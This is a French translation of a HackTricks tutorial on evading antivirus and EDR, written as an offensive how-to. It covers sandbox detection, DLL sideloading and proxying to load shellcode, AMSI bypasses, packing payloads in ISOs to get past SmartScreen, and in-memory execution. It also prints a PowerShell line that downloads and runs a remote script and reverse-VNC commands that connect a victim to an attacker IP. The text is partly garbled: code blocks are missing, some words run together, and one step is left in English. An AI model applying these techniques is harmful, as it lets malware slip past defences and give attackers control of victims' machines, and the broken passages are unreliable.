<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
Actuellement, les AV utilisent différentes méthodes pour vérifier si un fichier est malveillant ou non, la détection statique, l'analyse dynamique, et pour les EDR plus avancés, l'analyse comportementale.
La détection statique est réalisée en signalant des chaînes malveillantes connues ou des tableaux d'octets dans un binaire ou un script, et en extrayant également des informations du fichier lui-même (par exemple, la description du fichier, le nom de l'entreprise, les signatures numériques, l'icône, le checksum, etc.). Cela signifie que l'utilisation d'outils publics connus peut vous faire repérer plus facilement, car ils ont probablement été analysés et signalés comme malveillants. Il existe quelques façons de contourner ce type de détection :
Si vous chiffrez le binaire, l'AV ne pourra pas détecter votre programme, mais vous aurez besoin d'un type de chargeur pour décrypter et exécuter le programme en mémoire.
Parfois, il vous suffit de modifier quelques chaînes dans votre binaire ou script pour le faire passer devant l'AV, mais cela peut être une tâche chronophage en fonction de ce que vous essayez d'obfusquer.
Une bonne façon de vérifier la détection statique de Windows Defender est [ThreatCheck](https://github.com/rasta-mouse/ThreatCheck). Il divise essentiellement le fichier en plusieurs segments, puis demande à Defender de scanner chacun individuellement, de cette manière, il peut vous dire exactement quelles sont les chaînes ou octets signalés dans votre binaire.
Je vous recommande vivement de consulter cette [playlist YouTube](https://www.youtube.com/playlist?list=PLj05gPj8rk\_pkb12mDe4PgYZ5qPxhGKGf) sur l'évasion pratique de l'AV.
L'analyse dynamique consiste à exécuter votre binaire dans un bac à sable et à surveiller les activités malveillantes (par exemple, essayer de décrypter et lire les mots de passe de votre navigateur, effectuer un minidump sur LSASS, etc.). Cette partie peut être un peu plus délicate à manipuler, mais voici quelques choses que vous pouvez faire pour éviter les bac à sable.
* **Pause avant l'exécution** Selon la manière dont elle est implémentée, cela peut être un excellent moyen de contourner l'analyse dynamique de l'AV. Les AV ont très peu de temps pour analyser les fichiers afin de ne pas interrompre le flux de travail de l'utilisateur, donc l'utilisation de longues pauses peut perturber l'analyse des binaires. Le problème est que de nombreux bac à sable AV peuvent simplement sauter la pause en fonction de la manière dont elle est implémentée.
* **Vérification des ressources de la machine** En général, les bacs à sable disposent de très peu de ressources à utiliser (par exemple, <2GodeRAM),sinonilspourraientralentirlamachinedel'utilisateur.Vouspouvezégalementêtretrèscréatifici,parexempleenvérifiantlatempératureduCPUoumêmelesvitessesdesventilateurs,toutneserapasimplémentédanslebacàsable.
* **Vérifications spécifiques à la machine** Si vous souhaitez cibler un utilisateur dont la station de travail est connectée au domaine "contoso.local", vous pouvez vérifier le domaine de l'ordinateur pour voir s'il correspond à celui que vous avez spécifié, s'il ne correspond pas, vous pouvez faire sortir votre programme.
Il s'avère que l'ordinateur Sandbox de Microsoft Defender s'appelle HAL9TH, donc, vous pouvez vérifier le nom de l'ordinateur dans votre logiciel malveillant avant la détonation, si le nom correspond à HAL9TH, cela signifie que vous êtes à l'intérieur du bac à sable de Defender, vous pouvez donc faire sortir votre programme.
Comme nous l'avons dit précédemment dans ce post, les **outils publics** seront éventuellement **détectés**, donc, vous devriez vous poser une question :
Par exemple, si vous voulez vider LSASS, **avez-vous vraiment besoin d'utiliser mimikatz** ? Ou pourriez-vous utiliser un autre projet moins connu qui vide également LSASS.
La bonne réponse est probablement la seconde option. En prenant mimikatz comme exemple, c'est probablement l'un, sinon le logiciel le plus signalé par les AV et les EDR, alors que le projet lui-même est super cool, il est aussi un cauchemar pour travailler avec lui pour contourner les AV, donc cherchez simplement des alternatives pour ce que vous essayez d'accomplir.
Lorsque vous modifiez vos charges utiles pour l'évasion, assurez-vous de **désactiver la soumission automatique des échantillons** dans Defender, et s'il vous plaît, sérieusement, **NE PAS SOUMETTRE À VIRUSTOTAL** si votre objectif est d'atteindre l'évasion à long terme. Si vous voulez vérifier si votre charge utile est détectée par un AV particulier, installez-le sur une VM, essayez de désactiver la soumission automatique des échantillons, et testez-le là-bas jusqu'à ce que vous soyez satisfait du résultat.
Chaque fois que c'est possible, **priorisez l'utilisation de DLL pour l'évasion**, dans mon expérience, les fichiers DLL sont généralement **beaucoup moins détectés** et analysés, c'est donc un truc très simple à utiliser pour éviter la détection dans certains cas (si votre charge utile a un moyen de s'exécuter en tant que DLL bien sûr).
Comme nous pouvons le voir dans cette image, une charge utile DLL de Havoc a un taux de détection de 4/26 dans antiscan.me, tandis que la charge utile EXE a un taux de détection de 7/26.
<figure><imgsrc="../.gitbook/assets/image (1130).png"alt=""><figcaption><p>Comparaison de antiscan.me d'une charge utile EXE normale de Havoc par rapport à une charge utile DLL normale de Havoc</p></figcaption></figure>
**Le chargement latéral de DLL** profite de l'ordre de recherche des DLL utilisé par le chargeur en positionnant à la fois l'application victime et les charges malveillantes à côté l'une de l'autre.
Vous pouvez vérifier les programmes susceptibles au chargement latéral de DLL en utilisant [Siofra](https://github.com/Cybereason/siofra) et le script powershell suivant:
Cette commande affichera la liste des programmes susceptibles de subir une attaque de détournement de DLL à l'intérieur de "C:\Program Files\\" et les fichiers DLL qu'ils essaient de charger.
Je vous recommande vivement d'**explorer vous-même les programmes vulnérables au détournement de DLL/Sideloadable**, cette technique est assez furtive si elle est bien réalisée, mais si vous utilisez des programmes DLL Sideloadable connus du public, vous pourriez être facilement repéré.
Simplement en plaçant une DLL malveillante avec le nom qu'un programme s'attend à charger, votre charge utile ne sera pas chargée, car le programme s'attend à certaines fonctions spécifiques à l'intérieur de cette DLL. Pour résoudre ce problème, nous utiliserons une autre technique appelée **DLL Proxying/Forwarding**.
Le **DLL Proxying** redirige les appels qu'un programme effectue depuis la DLL proxy (et malveillante) vers la DLL d'origine, préservant ainsi la fonctionnalité du programme et permettant de gérer l'exécution de votre charge utile.
5. Create a new visual studio project (C++ DLL), paste the code generated by SharpDLLProxy (Under output_dllname/dllname_pragma.c) and compile. Now you should have a proxy dll which will load the shellcode you've specified and also forward any calls to the original DLL.
Tant notre shellcode (encodé avec [SGN](https://github.com/EgeBalci/sgn)) que le proxy DLL ont un taux de détection de 0/26 sur [antiscan.me](https://antiscan.me) ! Je qualifierais cela de succès.
Je vous recommande vivement de regarder la vidéo de [S3cur3Th1sSh1t sur Twitch](https://www.twitch.tv/videos/1644171543) sur le DLL Sideloading et aussi la vidéo de [ippsec](https://www.youtube.com/watch?v=3eROsG_WNpE) pour en apprendre davantage sur ce que nous avons discuté en détail.
`Freeze est une trousse à outils de charge utile pour contourner les EDR en utilisant des processus suspendus, des appels système directs et des méthodes d'exécution alternatives`
L'évasion est juste un jeu du chat et de la souris, ce qui fonctionne aujourd'hui pourrait être détecté demain, donc ne comptez jamais uniquement sur un seul outil, si possible, essayez de chaîner plusieurs techniques d'évasion.
AMSI a été créé pour prévenir les "[malwares sans fichier](https://en.wikipedia.org/wiki/Fileless\_malware)". Initialement, les AV étaient seulement capables de scanner des **fichiers sur le disque**, donc si vous pouviez exécuter des charges utiles **directement en mémoire**, l'AV ne pouvait rien faire pour l'empêcher, car il n'avait pas assez de visibilité.
Il permet aux solutions antivirus d'inspecter le comportement des scripts en exposant le contenu du script sous une forme à la fois non cryptée et non obfusquée.
Exécuter `IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Recon/PowerView.ps1')` produira l'alerte suivante sur Windows Defender.
Puisque AMSI fonctionne principalement avec des détections statiques, modifier les scripts que vous essayez de charger peut être une bonne façon d'éviter la détection.
Cependant, AMSI a la capacité de désembrouiller les scripts même s'ils ont plusieurs couches, donc l'obfuscation pourrait être une mauvaise option en fonction de la manière dont elle est faite. Cela rend l'évasion pas si simple. Cependant, parfois, il suffit de changer quelques noms de variables et vous serez bons, donc cela dépend de combien quelque chose a été signalé.
Puisque AMSI est implémenté en chargeant une DLL dans le processus powershell (également cscript.exe, wscript.exe, etc.), il est possible de le manipuler facilement même en s'exécutant en tant qu'utilisateur non privilégié. En raison de cette faille dans l'implémentation d'AMSI, les chercheurs ont trouvé plusieurs façons d'éviter la numérisation AMSI.
Forcer l'initialisation d'AMSI à échouer (amsiInitFailed) fera en sorte qu'aucune analyse ne soit lancée pour le processus en cours. À l'origine, cela a été divulgué par [Matt Graeber](https://twitter.com/mattifestation) et Microsoft a développé une signature pour empêcher une utilisation plus large.
Tout ce qu'il a fallu, c'est une ligne de code powershell pour rendre AMSI inutilisable pour le processus powershell actuel. Cette ligne a bien sûr été repérée par AMSI lui-même, donc des modifications sont nécessaires pour utiliser cette technique.
Voici une technique de contournement AMSI modifiée que j'ai trouvée sur ce [Github Gist](https://gist.github.com/r00t-3xp10it/a0c6a368769eec3d3255d4814802b5db).
Cette technique a été initialement découverte par [@RastaMouse](https://twitter.com/\_RastaMouse/) et elle consiste à trouver l'adresse de la fonction "AmsiScanBuffer" dans amsi.dll (responsable de l'analyse de l'entrée fournie par l'utilisateur) et à la remplacer par des instructions renvoyant le code E\_INVALIDARG, de cette manière, le résultat de l'analyse réelle renverra 0, ce qui est interprété comme un résultat propre.
Veuillez consulter [https://rastamouse.me/memory-patching-amsi-bypass/](https://rastamouse.me/memory-patching-amsi-bypass/) pour une explication plus détaillée.
Il existe également de nombreuses autres techniques utilisées pour contourner AMSI avec PowerShell, consultez [**cette page**](basic-powershell-for-pentesters/#amsi-bypass) et [ce dépôt](https://github.com/S3cur3Th1sSh1t/Amsi-Bypass-Powershell) pour en savoir plus à leur sujet.
Il existe plusieurs outils qui peuvent être utilisés pour **obfusquer le code en clair C#**, générer des **modèles de méta-programmation** pour compiler des binaires ou **obfusquer des binaires compilés** tels que :
* [**Obfuscator-LLVM**](https://github.com/obfuscator-llvm/obfuscator) : Le but de ce projet est de fournir une version open-source de la suite de compilation [LLVM](http://www.llvm.org/) capable de fournir une sécurité logicielle accrue grâce à l'[obfuscation de code](http://en.wikipedia.org/wiki/Obfuscation\_\(software\)) et à la protection contre la falsification.
* [**ADVobfuscator**](https://github.com/andrivet/ADVobfuscator) : ADVobfuscator montre comment utiliser le langage `C++11/14` pour générer, au moment de la compilation, du code obfusqué sans utiliser d'outil externe et sans modifier le compilateur.
* [**obfy**](https://github.com/fritzone/obfy) : Ajoutez une couche d'opérations obfusquées générées par le framework de méta-programmation de modèles C++ qui compliquera un peu la tâche de la personne voulant craquer l'application.
* [**ropfuscator**](https://github.com/ropfuscator/ropfuscator) : ROPfuscator est un cadre d'obfuscation de code à grain fin pour les langages pris en charge par LLVM utilisant ROP (programmation orientée retour). ROPfuscator obfusque un programme au niveau du code d'assemblage en transformant les instructions régulières en chaînes ROP, contrecarrant notre conception naturelle du flux de contrôle normal.
* [**Nimcrypt**](https://github.com/icyguider/nimcrypt) : Nimcrypt est un crypteur .NET PE écrit en Nim
* [**inceptor**](https://github.com/klezVirus/inceptor)**:** Inceptor est capable de convertir les EXE/DLL existants en code shell, puis de les charger
Microsoft Defender SmartScreen est un mécanisme de sécurité destiné à protéger l'utilisateur final contre l'exécution d'applications potentiellement malveillantes.
SmartScreen fonctionne principalement avec une approche basée sur la réputation, ce qui signifie que les applications téléchargées de manière peu commune déclencheront SmartScreen, alertant ainsi et empêchant l'utilisateur final d'exécuter le fichier (bien que le fichier puisse toujours être exécuté en cliquant sur Plus d'informations -> Exécuter quand même).
**MoTW** (Mark of The Web) est un [flux de données alternatif NTFS](https://en.wikipedia.org/wiki/NTFS#Alternate\_data\_stream\_\(ADS\)) portant le nom de Zone.Identifier qui est automatiquement créé lors du téléchargement de fichiers depuis Internet, avec l'URL à partir de laquelle il a été téléchargé.
<figure><imgsrc="../.gitbook/assets/image (237).png"alt=""><figcaption><p>Vérification du flux de données alternatif Zone.Identifier pour un fichier téléchargé depuis Internet.</p></figcaption></figure>
Une façon très efficace d'empêcher vos charges utiles d'obtenir le Mark of The Web est de les empaqueter dans une sorte de conteneur comme un ISO. Cela se produit car le Mark-of-the-Web (MOTW) **ne peut pas** être appliqué aux volumes **non NTFS**.
[**PackMyPayload**](https://github.com/mgeeky/PackMyPayload/) est un outil qui emballe les charges utiles dans des conteneurs de sortie pour éviter le Mark-of-the-Web.
Voici une démo pour contourner SmartScreen en empaquetant des charges utiles à l'intérieur de fichiers ISO en utilisant [PackMyPayload](https://github.com/mgeeky/PackMyPayload/)
Le chargement des binaires C# en mémoire est connu depuis un certain temps et reste un excellent moyen d'exécuter vos outils de post-exploitation sans être détecté par l'AV.
Étant donné que la charge utile sera chargée directement en mémoire sans toucher au disque, nous n'aurons qu'à nous soucier du patch AMSI pour l'ensemble du processus.
La plupart des frameworks C2 (sliver, Covenant, metasploit, CobaltStrike, Havoc, etc.) offrent déjà la possibilité d'exécuter des assemblages C# directement en mémoire, mais il existe différentes façons de le faire :
Cela implique **de lancer un nouveau processus sacrificiel**, d'injecter votre code malveillant de post-exploitation dans ce nouveau processus, d'exécuter votre code malveillant et, une fois terminé, de tuer le nouveau processus. Cette méthode présente à la fois des avantages et des inconvénients. L'avantage de la méthode fork and run est que l'exécution se produit **en dehors** de notre processus d'implant Beacon. Cela signifie que si quelque chose se passe mal ou est détecté lors de notre action de post-exploitation, il y a **beaucoup plus de chances** que notre **implant survive**. L'inconvénient est que vous avez **plus de chances** d'être détecté par des **détections comportementales**.
Il s'agit d'injecter le code malveillant de post-exploitation **dans son propre processus**. De cette manière, vous pouvez éviter de devoir créer un nouveau processus et le faire analyser par l'AV, mais l'inconvénient est que si quelque chose se passe mal avec l'exécution de votre charge utile, il y a **beaucoup plus de chances** de **perdre votre beacon** car il pourrait planter.
Si vous souhaitez en savoir plus sur le chargement des assemblages C#, veuillez consulter cet article [https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/](https://securityintelligence.com/posts/net-execution-inlineexecute-assembly/) et leur BOF InlineExecute-Assembly ([https://github.com/xforcered/InlineExecute-Assembly](https://github.com/xforcered/InlineExecute-Assembly))
Vous pouvez également charger des assemblages C# **depuis PowerShell**, consultez [Invoke-SharpLoader](https://github.com/S3cur3Th1sSh1t/Invoke-SharpLoader) et la [vidéo de S3cur3th1sSh1t](https://www.youtube.com/watch?v=oe11Q-3Akuk).
Comme proposé dans [**https://github.com/deeexcee-io/LOI-Bins**](https://github.com/deeexcee-io/LOI-Bins), il est possible d'exécuter du code malveillant en utilisant d'autres langages en donnant à la machine compromise l'accès **à l'environnement d'interprétation installé sur le partage SMB contrôlé par l'attaquant**.
En permettant l'accès aux binaires d'interprétation et à l'environnement sur le partage SMB, vous pouvez **exécuter du code arbitraire dans ces langages en mémoire** de la machine compromise.
Le dépôt indique : Defender scanne toujours les scripts mais en utilisant Go, Java, PHP, etc., nous avons **plus de flexibilité pour contourner les signatures statiques**. Les tests avec des scripts de shell inversé aléatoires non obfusqués dans ces langages ont été concluants.
L'évasion est un sujet très complexe, parfois vous devez prendre en compte de nombreuses sources de télémétrie dans un seul système, il est donc pratiquement impossible de rester complètement indétecté dans des environnements matures.
Je vous encourage vivement à regarder cette présentation de [@ATTL4S](https://twitter.com/DaniLJ94), pour vous initier à des techniques d'évasion plus avancées.
Vous pouvez utiliser [**ThreatCheck**](https://github.com/rasta-mouse/ThreatCheck) qui **supprimera des parties du binaire** jusqu'à ce qu'il découvre quelle partie Defender considère comme malveillante et vous la divise.\
Un autre outil faisant la **même chose est** [**avred**](https://github.com/dobin/avred) avec une offre web ouverte du service sur [**https://avred.r00ted.ch/**](https://avred.r00ted.ch/)
Téléchargez-le depuis: [http://www.uvnc.com/downloads/ultravnc.html](http://www.uvnc.com/downloads/ultravnc.html) (vous voulez les téléchargements binaires, pas l'installation)
L'**attaquant** doit **exécuter à l'intérieur** de son **hôte** le binaire `vncviewer.exe -listen 5900` afin qu'il soit **prêt** à capturer une connexion **VNC inversée**. Ensuite, à l'intérieur de la **victime**: Démarrez le démon winvnc `winvnc.exe -run` et exécutez `winwnc.exe [-autoreconnect] -connect <adresse_ip_attaquant>::5900`
* Ne démarrez pas `winvnc` s'il est déjà en cours d'exécution ou vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/1SROTTl.png). vérifiez s'il est en cours d'exécution avec `tasklist | findstr winvnc`
* Ne démarrez pas `winvnc` sans `UltraVNC.ini` dans le même répertoire sinon cela provoquera l'ouverture de [la fenêtre de configuration](https://i.imgur.com/rfMQWcf.png)
* Ne lancez pas `winvnc -h` pour obtenir de l'aide sinon vous déclencherez une [fenêtre contextuelle](https://i.imgur.com/oc18wcu.png)
// From https://gist.githubusercontent.com/BankSecurity/55faad0d0c4259c623147db79b2a83cc/raw/1b6c32ef6322122a98a1912a794b48788edf6bad/Simple_Rev_Shell.cs
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong><ahref="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert de l'équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
